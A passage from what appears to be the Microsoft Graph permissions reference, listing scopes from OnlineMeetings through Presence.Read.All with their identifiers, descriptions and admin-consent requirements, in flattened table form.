    Identifierb8bb2037-6e08-44ac-a4ea-4674e010e2a4-
    DisplayTextRead and create online meetings-
    DescriptionAllows the app to read and create online meetings as an application in your organization.-
    AdminConsentRequiredYes-
    +
    +

    OnlineMeetingTranscript.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera4a80d8d-d283-4bd8-8504-555ec387063030b87d18-ebb1-45db-97f8-82ccb1f0190c
    DisplayTextRead all transcripts of online meetings.Read all transcripts of online meetings.
    DescriptionAllows the app to read all transcripts of all online meetings, without a signed-in user.Allows the app to read all transcripts of online meetings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    + +

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    +
    +

    OnPremDirectorySynchronization.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbb70e231-92dc-4729-aff5-697b3f04be95f6609722-4100-44eb-b747-e6ca0536989d
    DisplayTextRead all on-premises directory synchronization informationRead all on-premises directory synchronization information
    DescriptionAllows the app to read all on-premises directory synchronization information for the organization, without a signed-in user.Allows the app to read all on-premises directory synchronization information for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OnPremDirectorySynchronization.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc22a92cc-79bf-4bb1-8b6c-e0a05d3d80cec2d95988-7604-4ba1-aaed-38a5f82a51c7
    DisplayTextRead and write all on-premises directory synchronization informationRead and write all on-premises directory synchronization information
    DescriptionAllows the app to read and write all on-premises directory synchronization information for the organization, without a signed-in user.Allows the app to read and write all on-premises directory synchronization information for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OnPremisesPublishingProfiles.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0b57845e-aa49-4e6f-8109-ce654fffa6188c4d5184-71c2-4bf8-bb9d-bc3378c9ad42
    DisplayTextManage on-premises published resourcesManage on-premises published resources
    DescriptionAllows the app to create, view, update and delete on-premises published resources, on-premises agents and agent groups, as part of a hybrid identity configuration, without a signed in user.Allows the app to manage hybrid identity service configuration by creating, viewing, updating and deleting on-premises published resources, on-premises agents and agent groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    openid

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-37f7f235-527c-4136-accd-4a02d197296e
    DisplayText-Sign users in
    Description-Allows users to sign in to the app with their work or school accounts and allows the app to see basic user profile information.
    AdminConsentRequired-No
    +

    Organization.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier498476ce-e0fe-48b0-b801-37ba7e2685c64908d5b9-3fb2-4b1e-9336-1888b7937185
    DisplayTextRead organization informationRead organization information
    DescriptionAllows the app to read the organization and related resources, without a signed-in user. Related resources include things like subscribed skus and tenant branding information.Allows the app to read the organization and related resources, on behalf of the signed-in user. Related resources include things like subscribed skus and tenant branding information.
    AdminConsentRequiredYesYes
    +
    +

    Organization.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier292d869f-3427-49a8-9dab-8c70152b74e946ca0847-7e6b-426e-9775-ea810a948356
    DisplayTextRead and write organization informationRead and write organization information
    DescriptionAllows the app to read and write the organization and related resources, without a signed-in user. Related resources include things like subscribed skus and tenant branding information.Allows the app to read and write the organization and related resources, on behalf of the signed-in user. Related resources include things like subscribed skus and tenant branding information.
    AdminConsentRequiredYesYes
    +
    +

    OrganizationalBranding.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiereb76ac34-0d62-4454-b97c-185e4250dc209082f138-6f02-4f3a-9f4d-5f3c2ce5c688
    DisplayTextRead organizational branding informationRead organizational branding information
    DescriptionAllows the app to read the organizational branding information, without a signed-in user.Allows the app to read the organizational branding information, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrganizationalBranding.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd2ebfbc1-a5f8-424b-83a6-56ab5927a73c15ce63de-b141-4c9a-a9a5-241bf27c6aaf
    DisplayTextRead and write organizational branding informationRead and write organizational branding information
    DescriptionAllows the app to read and write the organizational branding information, without a signed-in user.Allows the app to read and write the organizational branding information, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgContact.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere1a88a34-94c4-4418-be12-c87b00e26bea08432d1b-5911-483c-86df-7980af5cdee0
    DisplayTextRead organizational contactsRead organizational contacts
    DescriptionAllows the app to read all organizational contacts without a signed-in user. These contacts are managed by the organization and are different from a user's personal contacts.Allows the app to read all organizational contacts on behalf of the signed-in user.  These contacts are managed by the organization and are different from a user's personal contacts.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-AppsAndServices.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier56c84fa9-ea1f-4a15-90f2-90ef41ece2c91e9b7a7e-4d64-44ff-acf5-2e9651c1519f
    DisplayTextRead organization-wide apps and services settingsRead organization-wide apps and services settings
    DescriptionAllows the app to read organization-wide apps and services settings, without a signed-in user.Allows the app to read organization-wide apps and services settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-AppsAndServices.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4a8e4191-c1c8-45f8-b801-f9a1a5ee6ad3c167b0e7-47c0-48e8-9eee-9892f58018fa
    DisplayTextRead and write organization-wide apps and services settingsRead and write organization-wide apps and services settings
    DescriptionAllows the app to read and write organization-wide apps and services settings, without a signed-in user.Allows the app to read and write organization-wide apps and services settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-DynamicsVoice.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc18ae2dc-d9f3-4495-a93f-18980a0e159f9862d930-5aec-4a98-8d4f-7277a8db9bcb
    DisplayTextRead organization-wide Dynamics customer voice settingsRead organization-wide Dynamics customer voice settings
    DescriptionAllows the app to read organization-wide Dynamics customer voice settings, without a signed-in user.Allows the app to read organization-wide Dynamics customer voice settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-DynamicsVoice.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc3f1cc32-8bbd-4ab6-bd33-f270e0d9e0414cea26fb-6967-4234-82c4-c044414743f8
    DisplayTextRead and write organization-wide Dynamics customer voice settingsRead and write organization-wide Dynamics customer voice settings
    DescriptionAllows the app to read and write organization-wide Dynamics customer voice settings, without a signed-in user.Allows the app to read and write organization-wide Dynamics customer voice settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-Forms.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier434d7c66-07c6-4b1f-ab21-417cf2cdaaca210051a0-1ffc-435c-ae76-02d226d05752
    DisplayTextRead organization-wide Microsoft Forms settingsRead organization-wide Microsoft Forms settings
    DescriptionAllows the app to read organization-wide Microsoft Forms settings, without a signed-in user.Allows the app to read organization-wide Microsoft Forms settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-Forms.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2cb92fee-97a3-4034-8702-24a6f5d0d1e9346c19ff-3fb2-4e81-87a0-bac9e33990c1
    DisplayTextRead and write organization-wide Microsoft Forms settingsRead and write organization-wide Microsoft Forms settings
    DescriptionAllows the app to read and write organization-wide Microsoft Forms settings, without a signed-in user.Allows the app to read and write organization-wide Microsoft Forms settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-Microsoft365Install.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6cdf1fb1-b46f-424f-9493-07247caa22e28cbdb9f6-9c2e-451a-814d-ec606e5d0212
    DisplayTextRead organization-wide Microsoft 365 apps installation settingsRead organization-wide Microsoft 365 apps installation settings
    DescriptionAllows the app to read organization-wide Microsoft 365 apps installation settings, without a signed-in user.Allows the app to read organization-wide Microsoft 365 apps installation settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-Microsoft365Install.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier83f7232f-763c-47b2-a097-e35d2cbe1da51ff35e91-19eb-42d8-aa2d-cc9891127ae5
    DisplayTextRead and write organization-wide Microsoft 365 apps installation settingsRead and write organization-wide Microsoft 365 apps installation settings
    DescriptionAllows the app to read and write organization-wide Microsoft 365 apps installation settings, without a signed-in user.Allows the app to read and write organization-wide Microsoft 365 apps installation settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-Todo.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere4d9cd09-d858-4363-9410-abb96737f0cf7ff96f41-f022-45ba-acd8-ef3f03063d6b
    DisplayTextRead organization-wide Microsoft To Do settingsRead organization-wide Microsoft To Do settings
    DescriptionAllows the app to read organization-wide Microsoft To Do settings, without a signed-in user.Allows the app to read organization-wide Microsoft To Do settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    OrgSettings-Todo.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5febc9da-e0d0-4576-bd13-ae70b2179a39087502c2-5263-433e-abe3-8f77231a0627
    DisplayTextRead and write organization-wide Microsoft To Do settingsRead and write organization-wide Microsoft To Do settings
    DescriptionAllows the app to read and write organization-wide Microsoft To Do settings, without a signed-in user.Allows the app to read and write organization-wide Microsoft To Do settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PartnerBilling.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7c3e1994-38ff-4412-a99b-9369f6bb77068804798e-5934-4e30-8ce3-ef88257cecd4
    DisplayTextRead all billing data for your company's tenantRead all billing data for your company's tenant
    DescriptionAllows the app to read all of billing data from Microsoft for your company's tenant, without a signed-in user. This includes reading billed and unbilled azure usage and invoice reconciliation data.Allows the app to read all of billing data from Microsoft for your company's tenant, on behalf of the signed-in user. This includes reading billed and unbilled Usage and Invoice reconciliation data.
    AdminConsentRequiredYesYes
    +
    +

    PartnerSecurity.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier21ffa320-2e7f-47d3-a466-7ff04d2dd68d5567b981-0bf1-4796-9038-0648b46e116d
    DisplayTextRead security alerts of customer with CSP relationshipRead security alerts of customer with CSP relationship
    DescriptionAllows the app to read security alerts of customer with CSP relationship, without a signed-in user.Allows the app to read security alerts of customer with CSP relationship on behalf of the partner signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PartnerSecurity.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier04a2c935-5b4b-474a-be42-11f53111f2710cd2c1f6-94a1-4075-ab8c-0b1aff2e1ad5
    DisplayTextRead security alerts and update status of security alerts of customer with CSP relationshipRead security alerts and update status of security alerts of customer with CSP relationship
    DescriptionAllows the app to read security alerts and update status of alerts of customer with CSP relationship, without a signed-in user.Allows the app to read security alerts and update status of alerts of customer with CSP relationship on behalf of the partner signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PendingExternalUserProfile.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbdfb26d9-bb36-49be-9b4c-b8cbf4b05808d88fd3fb-53d3-4c1c-8c39-787fcac2ed7a
    DisplayTextRead all pending external user profilesRead pending external user profiles
    DescriptionAllows the app to read available properties of pending external user profiles, without a signed-in user.Allows the app to read available properties of pending external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PendingExternalUserProfile.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8363c2b8-6ff7-420b-9966-c5884c2d48bc93a1fb28-c908-4826-904e-0c74ad352b73
    DisplayTextRead and write all pending external user profilesRead and write pending external user profiles
    DescriptionAllows the app to read and write available properties of pending external user profiles, without a signed-in user.Allows the app to read and write available properties of pending external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    People.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ba47897c-39ec-4d83-8086-ee8256fa737d
    DisplayText-Read users' relevant people lists
    Description-Allows the app to read a ranked list of relevant people of the signed-in user. The list includes local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype).
    AdminConsentRequired-No
    +

    personal Microsoft accounts The People.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    People.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb528084d-ad10-4598-8b93-929746b4d7d6b89f9189-71a5-4e70-b041-9887f0bc7e4a
    DisplayTextRead all users' relevant people listsRead all users' relevant people lists
    DescriptionAllows the app to read any user's scored list of relevant people, without a signed-in user. The list can include local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype).Allows the app to read a scored list of relevant people of the signed-in user or other users in the signed-in user's organization. The list can include local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype).
    AdminConsentRequiredYesYes
    +
    +

    PeopleSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieref02f2e7-e22d-4c77-8614-8f765683b86eec762c5f-388b-4b16-8693-ac1efbc611bc
    DisplayTextRead all tenant-wide people settingsRead tenant-wide people settings
    DescriptionAllows the application to read tenant-wide people settings without a signed-in user.Allows the application to read tenant-wide people settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PeopleSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb6890674-9dd5-4e42-bb15-5af07f541ae1e67e6727-c080-415e-b521-e3f35d5248e9
    DisplayTextRead and write all tenant-wide people settingsRead and write tenant-wide people settings
    DescriptionAllows the application to read and write tenant-wide people settings without a signed-in user.Allows the application to read and write tenant-wide people settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Place.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier913b9306-0ce1-42b8-9137-6a7df690a760cb8f45a0-5c2e-4ea1-b803-84b870a7d7ec
    DisplayTextRead all company placesRead all company places
    DescriptionAllows the app to read company places (conference rooms and room lists) for calendar events and other applications, without a signed-in user.Allows the app to read your company's places (conference rooms and room lists) for calendar events and other applications, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Place.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-4c06a06a-098a-4063-868e-5dfee3827264
    DisplayText-Read and write organization places
    Description-Allows the app to manage organization places (conference rooms and room lists) for calendar events and other applications, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    PlaceDevice.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8b724a84-ceac-4fd9-897e-e31ba8f2d7a34c7f93d2-6b0b-4e05-91aa-87842f0a2142
    DisplayTextRead all workplace devicesRead all workplace devices
    DescriptionAllows the app to read all workplace devices, without a signed-in user.Allows the app to read all workplace devices, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PlaceDevice.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2d510721-5c4e-43cd-bfdb-ac0f8819fb92eafd6a71-e95a-4f8a-bb6e-fb84ab7fbd9e
    DisplayTextRead and write all workplace devicesRead and write all workplace devices
    DescriptionAllows the app to read and write all workplace devices, without a signed-in user.Allows the app to read and write all workplace devices, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    PlaceDeviceTelemetry.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier27fc435f-44e2-4b30-bf3c-e0ce74aed618-
    DisplayTextRead and write telemetry for all workplace devices.-
    DescriptionAllows the app to read and write telemetry for all workplace devices, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Policy.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier246dd0d5-5bd0-4def-940b-0421030a5b68572fea84-0151-49b2-9301-11cb16974376
    DisplayTextRead your organization's policiesRead your organization's policies
    DescriptionAllows the app to read all your organization's policies without a signed in user.Allows the app to read your organization's policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The Policy.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Policy.Read.ConditionalAccess

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier37730810-e9ba-4e46-b07e-8ca78d182097633e0fce-8c58-4cfb-9495-12bbd5a24f7c
    DisplayTextRead your organization's conditional access policiesRead your organization's conditional access policies
    DescriptionAllows the app to read your organization's conditional access policies, without a signed-in user.Allows the app to read your organization's conditional access policies on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    Policy.Read.IdentityProtection

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb21b72f6-4e6a-4533-9112-47eea9f97b28d146432f-b803-4ed4-8d42-ba74193a6ede
    DisplayTextRead your organization's identity protection policyRead your organization's identity protection policy
    DescriptionAllows the app to read your organization's identity protection policy without a signed-in user.Allows the app to read your organization's identity protection policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.Read.PermissionGrant

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9e640839-a198-48fb-8b9a-013fd6f6cbcd414de6ea-2d92-462f-b120-6e2a809a6d01
    DisplayTextRead consent and permission grant policiesRead consent and permission grant policies
    DescriptionAllows the app to read policies related to consent and permission grants for applications, without a signed-in user.Allows the app to read policies related to consent and permission grants for applications, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.AccessReview

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier77c863fd-06c0-47ce-a7eb-49773e89d3194f5bc9c8-ea54-4772-973a-9ca119cb0409
    DisplayTextRead and write your organization's directory access review default policyRead and write your organization's directory access review default policy
    DescriptionAllows the app to read and write your organization's directory access review default policy without a signed-in user.Allows the app to read and write your organization's directory access review default policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.ApplicationConfiguration

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbe74164b-cff1-491c-8741-e671cb536e13b27add92-efb2-4f16-84f5-8108ba77985c
    DisplayTextRead and write your organization's application configuration policiesRead and write your organization's application configuration policies
    DescriptionAllows the app to read and write your organization's application configuration policies, without a signed-in user. This includes policies such as activityBasedTimeoutPolicy, claimsMappingPolicy, homeRealmDiscoveryPolicy, tokenIssuancePolicy and tokenLifetimePolicy.Allows the app to read and write your organization's application configuration policies on behalf of the signed-in user. This includes policies such as activityBasedTimeoutPolicy, claimsMappingPolicy, homeRealmDiscoveryPolicy, tokenIssuancePolicy and tokenLifetimePolicy.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.AuthenticationFlows

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier25f85f3c-f66c-4205-8cd5-de92dd7f0cecedb72de9-4252-4d03-a925-451deef99db7
    DisplayTextRead and write authentication flow policiesRead and write authentication flow policies
    DescriptionAllows the app to read and write all authentication flow policies for the tenant, without a signed-in user.Allows the app to read and write the authentication flow policies, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.AuthenticationMethod

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier29c18626-4985-4dcd-85c0-193eef3273667e823077-d88e-468f-a337-e18f1f0e6c7c
    DisplayTextRead and write all authentication method policies Read and write authentication method policies
    DescriptionAllows the app to read and write all authentication method policies for the tenant, without a signed-in user. Allows the app to read and write the authentication method policies, on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The Policy.ReadWrite.AuthenticationMethod delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Policy.ReadWrite.Authorization

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfb221be6-99f2-473f-bd32-01c6a0e9ca3bedd3c878-b384-41fd-95ad-e7407dd775be
    DisplayTextRead and write your organization's authorization policyRead and write your organization's authorization policy
    DescriptionAllows the app to read and write your organization's authorization policy without a signed in user. For example, authorization policies can control some of the permissions that the out-of-the-box user role has by default.Allows the app to read and write your organization's authorization policy on behalf of the signed-in user. For example, authorization policies can control some of the permissions that the out-of-the-box user role has by default.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.ConditionalAccess

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier01c0a623-fc9b-48e9-b794-0756f8e8f067ad902697-1014-4ef5-81ef-2b4301988e8c
    DisplayTextRead and write your organization's conditional access policiesRead and write your organization's conditional access policies
    DescriptionAllows the app to read and write your organization's conditional access policies, without a signed-in user.Allows the app to read and write your organization's conditional access policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.ConsentRequest

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier999f8c63-0a38-4f1b-91fd-ed1947bdd1a94d135e65-66b8-41a8-9f8b-081452c91774
    DisplayTextRead and write your organization's consent request policyRead and write consent request policy
    DescriptionAllows the app to read and write your organization's consent requests policy without a signed-in user.Allows the app to read and write your organization's consent requests policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.CrossTenantAccess

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier338163d7-f101-4c92-94ba-ca46fe52447c014b43d0-6ed4-4fc6-84dc-4b6f7bae7d85
    DisplayTextRead and write your organization's cross tenant access policiesRead and write your organization's cross tenant access policies
    DescriptionAllows the app to read and write your organization's cross tenant access policies without a signed-in user.Allows the app to read and write your organization's cross tenant access policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.DeviceConfiguration

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-40b534c3-9552-4550-901b-23879c90bcf9
    DisplayText-Read and write your organization's device configuration policies
    Description-Allows the app to read and write your organization's device configuration policies on behalf of the signed-in user. For example, device registration policy can limit initial provisioning controls using quota restrictions, additional authentication and authorization checks.
    AdminConsentRequired-Yes
    +
    +

    Policy.ReadWrite.ExternalIdentities

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier03cc4f92-788e-4ede-b93f-199424d144a5b5219784-1215-45b5-b3f1-88fe1081f9c0
    DisplayTextRead and write your organization's external identities policyRead and write your organization's external identities policy
    DescriptionAllows the application to read and update the organization's external identities policy without a signed-in user. For example, external identities policy controls if users invited to access resources in your organization via B2B collaboration or B2B direct connect are allowed to self-service leave.Allows the application to read and update the organization's external identities policy on behalf of the signed-in user. For example, external identities policy controls if users invited to access resources in your organization via B2B collaboration or B2B direct connect are allowed to self-service leave.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.FeatureRollout

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2044e4f1-e56c-435b-925c-44cd8f6ba89a92a38652-f13b-4875-bc77-6e1dbb63e1b2
    DisplayTextRead and write feature rollout policiesRead and write your organization's feature rollout policies
    DescriptionAllows the app to read and write feature rollout policies without a signed-in user. Includes abilities to assign and remove users and groups to rollout of a specific feature.Allows the app to read and write your organization's feature rollout policies on behalf of the signed-in user. Includes abilities to assign and remove users and groups to rollout of a specific feature.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.FedTokenValidation

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier90bbca0b-227c-4cdc-8083-1c6cfb95bac6be1be369-4540-4ac9-8928-79de99f70d8f
    DisplayTextRead and write your organization's federated token validation policyRead and write your organization's federated token validation policy
    DescriptionAllows the application to read and update the organization's federated token validation policy without a signed-in user.Allows the application to read and update the organization's federated token validation policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.IdentityProtection

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2dcf8603-09eb-4078-b1ec-d30a1a76b8737256e131-3efb-4323-9854-cf41c6021770
    DisplayTextRead and write your organization's identity protection policyRead and write your organization's identity protection policy
    DescriptionAllows the app to read and write your organization's identity protection policy without a signed-in user.Allows the app to read and write your organization's identity protection policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.MobilityManagement

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-a8ead177-1889-4546-9387-f25e658e2a79
    DisplayText-Read and write your organization's mobility management policies
    Description-Allows the app to read and write your organization's mobility management policies on behalf of the signed-in user. For example, a mobility management policy can set the enrollment scope for a given mobility management application.
    AdminConsentRequired-Yes
    +
    +

    Policy.ReadWrite.PermissionGrant

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera402ca1c-2696-4531-972d-6e5ee4aa11ea2672f8bb-fd5e-42e0-85e1-ec764dd2614e
    DisplayTextManage consent and permission grant policiesManage consent and permission grant policies
    DescriptionAllows the app to manage policies related to consent and permission grants for applications, without a signed-in user.Allows the app to manage policies related to consent and permission grants for applications, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.SecurityDefaults

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1c6e93a6-28e2-4cbb-9f64-1a46a821124d0b2a744c-2abf-4f1e-ad7e-17a087e2be99
    DisplayTextRead and write your organization's security defaults policyRead and write your organization's security defaults policy
    DescriptionAllows the app to read and write your organization's security defaults policy, without a signed-in user.Allows the app to read and write your organization's security defaults policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Policy.ReadWrite.TrustFramework

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier79a677f7-b79d-40d0-a36a-3e6f8688dd7acefba324-1a70-4a6e-9c1d-fd670b7ae392
    DisplayTextRead and write your organization's trust framework policiesRead and write your organization's trust framework policies
    DescriptionAllows the app to read and write your organization's trust framework policies without a signed in user.Allows the app to read and write your organization's trust framework policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    POP.AccessAsUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-d7b7f2d9-0f45-4ea1-9d42-e50810c06991
    DisplayText-Read and write access to mailboxes via POP.
    Description-Allows the app to have the same access to mailboxes as the signed-in user via POP protocol.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The POP.AccessAsUser.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Presence.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-76bc735e-aecd-4a1d-8b4c-2b915deabb79
    DisplayText-Read user's presence information
    Description-Allows the app to read presence information on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.
    AdminConsentRequired-No
    +
    +

    Presence.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera70e0c2d-e793-494c-94c4-118fa0a67f429c7a330d-35b3-4aa1-963d-cb2b9f927841
    DisplayTextRead presence information for all usersRead presence information of all users in your organization
    DescriptionAllows the app to read presence information of all users in the directory without a signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.Allows the app to read presence information of all users in the directory on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.
    AdminConsentRequiredYesNo
    +
    +

    Presence.ReadWrite

